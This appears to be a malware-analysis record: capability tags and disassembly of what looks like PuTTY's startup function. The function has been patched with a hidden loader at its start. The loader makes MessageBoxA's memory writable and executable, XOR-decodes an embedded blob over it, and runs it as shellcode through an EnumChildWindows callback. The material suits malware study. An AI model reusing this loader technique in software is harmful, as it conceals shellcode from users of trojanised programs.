Function at 0x457728
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get keyboard layout
Hide graphical window
Read file via mapping
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1948
call fcn.0046b100
mov eax, dword [0x4e5814]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
mov dword [ebp - 0x1920], eax
mov eax, dword [ebp + 0x10]
push 0x18d6
mov dword [ebp - 0x1918], eax
lea eax, [ebp - 0x18dc]
push 0x4d48c8
push eax
call fcn.0046c130
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x192c]
add esp, 0xc
mov dword [ebp - 0x192c], 0
push eax
push 0x40
push 0xf831
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x45779d
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046addd
mov esp, ebp
pop ebp
ret 0x10
push ebx
mov bl, byte [ebp - 0x18dc]
mov ecx, edi
push esi
lea esi, [ebp - 0x18dc]
xor bl, 0x90
sub esi, edi
mov edx, 0x18d5
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
nop
nop
nop
xor al, bl
nop
mov byte [ecx - 1], al
nop
nop
sub edx, 1
jne 0x4577b7
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
call fcn.00461bd0
mov eax, dword [ebp - 0x1920]
mov dword [0x4ea4b0], eax
mov dword [0x4ea4b8], 0
mov dword [0x4ea4d8], 5
call fcn.004630a0
call fcn.00452120
call fcn.004616d0
call fcn.004557d0
call fcn.004620f0
test eax, eax
jne 0x45784b
push dword [0x4be594]
push str._s_Fatal_Error
call fcn.0040dda0
add esp, 8
mov esi, eax
push 0x30
push esi
push str.Windows_refuses_to_report_a_version
jmp 0x4578b1
cmp dword [0x4ea404], 4
jb 0x45785f
jne 0x45786f
cmp dword [0x4ea410], 2
je 0x45786f
push str.MSWHEEL_ROLLMSG
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov dword [0x4e57b0], eax
call fcn.00460c10
call fcn.0045d340
call fcn.004032c0
push 0
mov dword [0x4ea4c4], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
je 0x4578d6
cmp eax, 1
je 0x4578d6
push dword [0x4be594]
push str._s_Fatal_Error
call fcn.0040dda0
add esp, 8
mov esi, eax
push 0x30
push esi
push str.Failed_to_initialize_COM_subsystem
push 0
call edi
push esi
call fcn.0040e430
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop esi
pop ebx
pop edi
call fcn.0046addd
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [0x4be590]
xor ebx, ebx
push eax
mov dword [ebp - 0x191c], ebx
mov dword [0x4ea4d4], eax
call fcn.00412d30
add esp, 4
mov dword [0x4ea4d0], ebx
test eax, eax
je 0x457903
mov eax, dword [eax + 0x4c]
mov dword [0x4ea4d0], eax
push 0
push 0x78
push dword [0x4ea4c4]
call fcn.00403560
push dword [0x4ea4c4]
push 0
call fcn.00412d60
mov esi, dword [ebp - 0x1918]
add esp, 0x14
mov edi, esi
mov al, byte [esi]
test al, al
je 0x457948
movsx eax, al
push eax
call fcn.0048f456
add esp, 4
test eax, eax
je 0x457948
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x457930
mov al, byte [edi]
cmp al, 0x26
jne 0x457987
cmp byte [edi + 1], 0x52
jne 0x4579fb
mov al, byte [edi + 2]
lea esi, [edi + 2]
test al, al
je 0x45796e
cmp al, 0x40
je 0x45796e
cmp al, 0x26
jne 0x4579fb
call fcn.00466070
mov dword [0x4ea494], 1
mov edi, esi
mov al, byte [esi]
mov esi, dword [ebp - 0x1918]
cmp al, 0x40
jne 0x4579f3
mov esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x457990
sub esi, ecx
cmp esi, 1
jle 0x4579b8
nop
movsx eax, byte [edi + esi - 1]
push eax
call fcn.0048f456
add esp, 4
test eax, eax
je 0x4579b8
dec esi
cmp esi, 1
jg 0x4579a0
mov byte [esi + edi], bl
lea eax, [edi + 1]
push dword [0x4ea4c4]
push eax
call fcn.00412d60
push dword [0x4ea4c4]
call fcn.0040dc00
add esp, 0xc
test eax, eax
jne 0x4579e9
call fcn.00455810
test eax, eax
je 0x4584de
mov esi, 1
jmp 0x457afd
cmp al, 0x26
jne 0x457a81
lea eax, [ebp - 0x1918]
push eax
lea eax, [ebp - 0x191c]
push eax
lea eax, [edi + 1]
push str._p:_u
push eax
call fcn.00411d60
add esp, 0x10
cmp eax, 2
jne 0x457a6f
push dword [ebp - 0x1918]
push 0
push 0
push 4
push dword [ebp - 0x191c]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x457a6f
push dword [ebp - 0x1918]
push esi
push dword [0x4ea4c4]
call fcn.00402e10
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x191c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 1
jmp 0x457afd
call fcn.00455810
test eax, eax
je 0x4584d7
jmp 0x4579e9
test al, al
je 0x457afb
push 0
lea eax, [ebp - 0x1924]
push eax
lea eax, [ebp - 0x1918]
push eax
push esi
call fcn.00468f10
mov ecx, dword [ebp - 0x1918]
add esp, 0x10
xor edi, edi
test ecx, ecx
jle 0x457afb
nop word [eax + eax]
mov eax, dword [ebp - 0x1924]
lea ebx, [edi + 1]
mov esi, dword [eax + edi*4]
cmp ebx, ecx
jge 0x457ac6
mov eax, dword [eax + edi*4 + 4]
jmp 0x457ac8
xor eax, eax
push dword [0x4ea4c4]
push 1
push eax
push esi
call fcn.00401440
add esp, 0x10
cmp eax, 0xfffffffe
je 0x458551
cmp eax, 2
jne 0x457b44
mov edi, ebx
mov ebx, dword [ebp - 0x191c]
mov ecx, dword [ebp - 0x1918]
inc edi
cmp edi, ecx
jl 0x457ab0
xor esi, esi
push dword [0x4ea4c4]
call fcn.00402b30
add esp, 4
cmp dword [0x4ea4cc], 0
jne 0x457b1c
test ebx, ebx
jne 0x457b1c
test esi, esi
je 0x457b32
push dword [0x4ea4c4]
call fcn.0040dc00
add esp, 4
test eax, eax
jne 0x457cb8
call fcn.00455810
test eax, eax
je 0x4584de
jmp 0x457cb8
cmp eax, 1
je 0x457aea
mov ecx, str._cleanup
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x457b70
test dl, dl
je 0x457b6c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x457b70
add eax, 2
add ecx, 2
test dl, dl
jne 0x457b50
xor eax, eax
jmp 0x457b75
sbb eax, eax
or eax, 1
test eax, eax
je 0x4584fc
mov ecx, str._pgpfp
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x457ba4
test dl, dl
je 0x457ba0
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x457ba4
add eax, 2
add ecx, 2
test dl, dl
jne 0x457b84
xor eax, eax
jmp 0x457ba9
sbb eax, eax
or eax, 1
test eax, eax
je 0x4584f0
cmp byte [esi], 0x2d
je 0x4584e5
mov ebx, dword [ebp - 0x191c]
mov dword [ebp - 0x1928], esi
test ebx, ebx
je 0x457be5
push dword [0x4ea4c4]
push 1
push esi
push 0x4be768
call fcn.00401440
add esp, 0x10
jmp 0x457af0
push 7
push str.telnet:
push esi
call fcn.00477700
add esp, 0xc
test eax, eax
jne 0x457c89
add esi, 7
cmp byte [esi], 0x2f
jne 0x457c0e
cmp byte [esi + 1], 0x2f
jne 0x457c0e
add esi, 2
push 1
push 2
push dword [0x4ea4c4]
call fcn.00403560
push 0x4d6378
push esi
call fcn.0040e130
mov cl, byte [eax + esi]
add eax, esi
add esp, 0x14
test cl, cl
je 0x457c38
mov byte [eax], 0
inc eax
cmp cl, 0x3a
jne 0x457c56
push eax
call fcn.00477691
push eax
push 1
push dword [0x4ea4c4]
call fcn.00403560
add esp, 0x10
jmp 0x457c68
push 0xffffffffffffffff
push 1
push dword [0x4ea4c4]
call fcn.00403560
add esp, 0xc
push esi
push 0
push dword [0x4ea4c4]
call fcn.004035c0
mov ebx, 1
add esp, 0xc
mov dword [ebp - 0x191c], ebx
jmp 0x457af0
mov al, byte [esi]
test al, al
je 0x457cb0
nop
movsx eax, al
push eax
call fcn.0048f456
add esp, 4
test eax, eax
jne 0x457ca8
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x457c90
cmp byte [esi], 0
je 0x457cb0
mov byte [esi], 0
push dword [ebp - 0x1928]
jmp 0x457c69
push 0
push dword [0x4ea4c4]
call fcn.00403120
push eax
call fcn.0040ddc0
mov edi, eax
push 0x4c4a08
push edi
call fcn.004914a0
add esp, 0x14
cmp byte [edi + eax], 0
lea esi, [edi + eax]
je 0x457d0c
push 0x40
push esi
call fcn.0046cd90
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x457d0c
push esi
mov byte [ebx], 0
push 0x34
push dword [0x4ea4c4]
call fcn.004035c0
add esp, 0xc
lea esi, [ebx + 1]
push 0x3a
push esi
call fcn.0040e0b0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x457d31
lea ecx, [ebx + 1]
push 0x3a
push ecx
call fcn.0040e0b0
add esp, 8
test eax, eax
jne 0x457d31
mov byte [ebx], al
mov al, byte [esi]
mov ecx, edi
test al, al
je 0x457d53
nop dword [eax]
cmp al, 0x20
je 0x457d4b
cmp al, 9
je 0x457d4b
mov byte [ecx], al
inc ecx
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x457d40
push edi
mov byte [ecx], 0
push 0
push dword [0x4ea4c4]
call fcn.004035c0
push edi
call fcn.0040e430
add esp, 0x10
cmp dword [ebp + 0xc], 0
jne 0x457e09
mov eax, dword [ebp - 0x1920]
push 0xc8
push eax
mov dword [ebp - 0x1914], 0
mov dword [ebp - 0x1910], 0x458560
mov dword [ebp - 0x190c], 0
mov dword [ebp - 0x1908], 0
mov dword [ebp - 0x1904], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f01
push 0
mov dword [ebp - 0x1900], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push dword [0x4be594]
mov dword [ebp - 0x18fc], eax
push 0
push 0
mov dword [ebp - 0x18f8], 0
mov dword [ebp - 0x18f4], 0
call fcn.0040ea30
add esp, 0xc
mov dword [ebp - 0x18f0], eax
lea eax, [ebp - 0x1914]
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0xb10
push 0
push 0x4e6af8
call fcn.0046c6b0
call fcn.0045b2f0
call fcn.0045b320
push 0x73
push dword [0x4ea4c4]
mov dword [0x4e6ac4], 0xa
mov dword [0x4e6ac8], 0x14
mov dword [0x4e6abc], 0x19
mov dword [0x4e6ac0], 0x1c
call fcn.004030c0
imul eax, dword [0x4e6ac4]
mov edi, dword [0x4e6abc]
push 0x74
push dword [0x4ea4c4]
add edi, eax
call fcn.004030c0
imul eax, dword [0x4e6ac8]
mov esi, dword [0x4e6ac0]
add esi, eax
lea eax, [ebp - 0x18ec]
push eax
call fcn.0045cb80
mov ebx, dword [ebp - 0x18e4]
sub ebx, dword [ebp - 0x18ec]
mov eax, dword [ebp - 0x18e0]
cmp edi, ebx
push dword [0x4be594]
cmovle ebx, edi
sub eax, dword [ebp - 0x18e8]
cmp esi, eax
mov edi, 0xef0000
cmovle eax, esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x1928], eax
call fcn.0040ea30
push 0x6d
push dword [0x4ea4c4]
mov dword [ebp - 0x1924], eax
call fcn.004030c0
test eax, eax
mov ecx, 0xcf0000
push 0x6f
push dword [0x4ea4c4]
cmove edi, ecx
call fcn.004030c0
add esp, 0x3c
cmp eax, 1
jne 0x457f04
and edi, 0xfffaffff
push 0x56
push dword [0x4ea4c4]
call fcn.004030c0
test eax, eax
mov ecx, 8
push 0x7e
push dword [0x4ea4c4]
cmovne esi, ecx
call fcn.004030c0
add esp, 0x10
test eax, eax
je 0x457f35
or esi, 0x200
push 0
push dword [ebp - 0x1920]
push 0
push 0
push dword [ebp - 0x1928]
push ebx
mov ebx, dword [ebp - 0x1924]
push 0x80000000
push 0x80000000
push edi
push ebx
push ebx
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
push ebx
mov dword [0x4ea4b8], eax
call fcn.0040e430
push 0
push 0
call fcn.0045ccf0
push 0
push 0x4e6af8
push dword [0x4ea4c4]
call fcn.00449190
push dword [0x4ea4c4]
mov dword [0x4ea4ac], eax
push 0
call fcn.0040ab30
push eax
push dword [0x4ea4ac]
mov dword [0x4ea4a8], eax
call fcn.0044d370
push 0x60
push dword [0x4ea4c4]
call fcn.004030c0
add esp, 0x30
push eax
push 0x73
push dword [0x4ea4c4]
call fcn.004030c0
add esp, 8
push eax
push 0x74
push dword [0x4ea4c4]
call fcn.004030c0
add esp, 8
push eax
push dword [0x4ea4ac]
call fcn.0044da50
add esp, 0x10
lea eax, [ebp - 0x18fc]
push eax
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [ebp - 0x18ec]
push eax
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x7f
push dword [0x4ea4c4]
call fcn.004030c0
mov esi, dword [ebp - 0x18ec]
add esp, 8
sub esi, dword [ebp - 0x18e4]
mov edx, dword [ebp - 0x18e8]
sub edx, dword [ebp - 0x18e0]
lea ecx, [eax + eax]
sub esi, dword [ebp - 0x18fc]
sub edx, dword [ebp - 0x18f8]
add esi, dword [ebp - 0x18f4]
add edx, dword [ebp - 0x18f0]
add esi, ecx
add edx, ecx
mov dword [0x4e6ad8], eax
mov ecx, dword [0x4ea4ac]
mov dword [0x4e6ad4], eax
mov dword [0x4e6abc], esi
mov dword [0x4e6ac0], edx
mov eax, dword [ecx + 0x128]
imul eax, dword [0x4e6ac8]
push 0xe
add eax, edx
push eax
mov eax, dword [ecx + 0x12c]
imul eax, dword [0x4e6ac4]
add eax, esi
push eax
push 0
push 0
push 0
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [0x4e6ac4]
add eax, 0xf
cdq
and edx, 0xf
push 1
lea esi, [edx + eax]
sar esi, 4
imul esi, dword [0x4e6ac8]
add esi, esi
push esi
call fcn.0040e450
push esi
mov edi, eax
push 0
push edi
call fcn.0046c6b0
add esp, 0x14
push edi
push 1
push 1
push dword [0x4e6ac8]
push dword [0x4e6ac4]
call dword [sym.imp.GDI32.dll_CreateBitmap]
push edi
mov dword [0x4e7cac], eax
call fcn.0040e430
add esp, 4
push dword [0x4e6ac8]
push dword [0x4e6ac4]
push dword [0x4e7cac]
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_CreateCaret]
mov ecx, dword [0x4ea4ac]
mov dword [ebp - 0x1908], 0x1c
mov dword [ebp - 0x1904], 0x1f
mov dword [ebp - 0x1900], 0
mov eax, dword [ecx + 0x128]
dec eax
mov dword [ebp - 0x18fc], eax
mov eax, dword [ecx + 0x128]
push 0
mov dword [ebp - 0x18f8], eax
lea eax, [ebp - 0x1908]
push eax
push 1
push dword [0x4ea4b8]
mov dword [ebp - 0x18f4], 0
call dword [sym.imp.USER32.dll_SetScrollInfo]
mov dword [0x4e7fcc], 0
mov dword [0x4e7fd0], 0
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0
push dword [0x4ea4b8]
mov dword [0x4e7fc4], eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov dword [0x4e7628], eax
call dword [sym.imp.USER32.dll_CreatePopupMenu]
mov ebx, dword [sym.imp.USER32.dll_AppendMenuA]
push str.Paste
push 0x190
push 0
push eax
mov dword [0x4e762c], eax
call ebx
call dword [sym.imp.USER32.dll_CreateMenu]
push 1
push 0x4e7634
mov dword [0x4e7630], eax
call fcn.00412db0
add esp, 8
call fcn.0045e9d0
xor eax, eax
mov dword [ebp - 0x1918], eax
mov edi, dword [eax + 0x4e7628]
push 0
push 0
push 0x800
push edi
call ebx
push str.Event_Log
push 0x10
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.New_Session...
push 0x20
push 0
push edi
call ebx
push str.Duplicate_Session
push 0x30
push 0
push edi
call ebx
push str.Saved_Sessions
push dword [0x4e7630]
push 0x10
push edi
call ebx
push str.Change_Settings...
push 0x50
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.Copy_All_to_Clipboard
push 0x170
push 0
push edi
call ebx
push str.Clear_Scrollback
push 0x60
push 0
push edi
call ebx
push str.Reset_Terminal
push 0x70
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.Full_Screen
push 0x180
push 0x6f
push dword [0x4ea4c4]
call fcn.004030c0
add esp, 8
dec eax
neg eax
sbb eax, eax
inc eax
push eax
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
call fcn.00460bf0
test eax, eax
je 0x4582d9
push str.Help
push 0x140
push 0
push edi
call ebx
push dword [0x4be594]
push str.About__s
call fcn.0040dda0
add esp, 8
mov esi, eax
push esi
push 0x150
push 0
push edi
call ebx
push esi
call fcn.0040e430
mov eax, dword [ebp - 0x1918]
add esp, 4
add eax, 4
mov dword [ebp - 0x1918], eax
cmp eax, 8
jb 0x4581f4
cmp dword [0x4ea494], 0
je 0x458332
push str.Running_with_restricted_process_ACL
push 0
call fcn.00455ac0
add esp, 8
call fcn.0045e4e0
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
call fcn.0045e260
add esp, 4
push dword [ebp + 0x14]
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [0x4e788c], 0
mov dword [0x4e7ca8], 0
call fcn.0045d1f0
mov edi, dword [sym.imp.USER32.dll_GetForegroundWindow]
call edi
xor ecx, ecx
cmp eax, dword [0x4ea4b8]
sete cl
push ecx
push dword [0x4ea4ac]
call fcn.0044da30
add esp, 8
push dword [0x4ea4b8]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_PeekMessageW]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
call fcn.00401300
test eax, eax
jne 0x4583fc
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x1948]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x4583fc
mov dword [ebp - 0x1918], 0xffffffff
call edi
xor ecx, ecx
cmp eax, dword [0x4ea4b8]
sete cl
push ecx
push dword [0x4ea4ac]
call fcn.0044da30
add esp, 8
jmp 0x458406
mov dword [ebp - 0x1918], 0
lea eax, [ebp - 0x1920]
push eax
call fcn.004604a0
add esp, 4
mov edi, eax
push 0x1cff
push dword [ebp - 0x1918]
push 0
push edi
push dword [ebp - 0x1920]
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
cmp eax, dword [ebp - 0x1920]
jae 0x458444
push dword [edi + eax*4]
call fcn.00460550
add esp, 4
push edi
call fcn.0040e430
add esp, 4
lea eax, [ebp - 0x1948]
push 1
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x4584bc
cmp dword [ebp - 0x1944], 0x12
je 0x4584cc
push dword [0x4ea4b4]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x458492
lea eax, [ebp - 0x1948]
push eax
push dword [0x4ea4b4]
call dword [sym.imp.USER32.dll_IsDialogMessageA]
test eax, eax
jne 0x45849b
lea eax, [ebp - 0x1948]
push eax
call ebx
cmp dword [ebp - 0x1944], 0x8005
jne 0x4584bc
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x1948]
push eax
call esi
test eax, eax
jne 0x458462
call fcn.004012c0
mov edi, dword [sym.imp.USER32.dll_GetForegroundWindow]
jmp 0x4583b6
push dword [ebp - 0x1940]
call fcn.0045af40
push 0
call fcn.0045af40
push 0
call fcn.0045af40
push esi
push str.unknown_option___s_
call fcn.0045b290
call fcn.00468e30
push 1
call fcn.0049b81a
push dword [0x4be594]
push str.This_procedure_will_remove_ALL_Registry_entries_nassociated_with__s__and_will_also_remove_nthe_random_seed_file.__This_only_affects_the_ncurrently_logged_in_user.__n_nTHIS_PROCESS_WILL_DESTROY_YOUR_SAVED_SESSIONS._nAre_you_really_sure_you_want_to_continue_
call fcn.0040dda0
push dword [0x4be594]
mov esi, eax
push str._s_Warning
call fcn.0040dda0
push 4
mov edi, eax
push 0x134
push edi
push esi
call fcn.00468d10
add esp, 0x20
cmp eax, 6
jne 0x45853b
call fcn.00466e70
push esi
call fcn.0040e430
push edi
call fcn.0040e430
add esp, 8
push 0
call fcn.0049b81a
push esi
push str.option___s__requires_an_argument
call fcn.0045b290
int3